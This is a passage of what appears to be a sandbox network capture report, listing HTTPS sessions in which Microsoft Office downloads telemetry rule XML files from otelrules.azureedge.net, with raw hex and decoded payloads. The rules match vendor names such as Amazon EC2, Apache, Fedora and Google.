53	192.168.2.6	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:38 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:38 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 00deeadb-901e-007b-4a91-3bac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172838Z-15b8b599d88s6mj9hC1TEBur3000000006600000000009ry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:39 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:38 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:39 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: eb55dd92-f01e-0020-3d6a-3c956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172839Z-174c587ffdftjz9shC1TEBsh9800000005z000000001096h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:39 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:38 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:39 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: af6ae163-c01e-0082-6735-3caf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172839Z-178bfbc474bmqmgjhC1NYCy16c00000007vg00000000bddy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:39 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:38 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:39 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 8a9c0054-c01e-0046-231b-3e2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172839Z-178bfbc474bfw4gbhC1NYCunf400000007q000000000t70z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:39 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:39 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:39 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 15b7cf09-401e-0047-4de4-3e8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172839Z-15b8b599d88vp97chC1TEB5pzw000000067000000000cg24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:39 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:40 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:41 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: f47ed088-401e-0029-7f4d-3c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172841Z-15b8b599d88f9wfchC1TEBm2kc00000006bg00000000dts1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:41 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:41 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:41 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172841Z-174c587ffdfcj798hC1TEB9bq400000006a000000000vmt0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:41 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:41 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:41 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172841Z-174c587ffdfks6tlhC1TEBeza4000000066g00000000w5vs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:41 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:41 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 3074f9d5-701e-001e-47fc-3df5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172841Z-178bfbc474brk967hC1NYCfu6000000007m000000000ahpy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:41 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:41 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 40c83c0a-001e-00ad-1e79-3b554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172841Z-174c587ffdfcb7qhhC1TEB3x7000000006ag00000000crk4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:41 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:43 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:43 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: ba3424f4-801e-0047-3bbf-3e7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172843Z-178bfbc474btrnf9hC1NYCb80g000000080g000000002tth x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:43 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:43 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:43 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 891407d0-301e-0096-28a6-3ee71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172843Z-178bfbc474bfw4gbhC1NYCunf400000007wg00000000074v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:43 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" 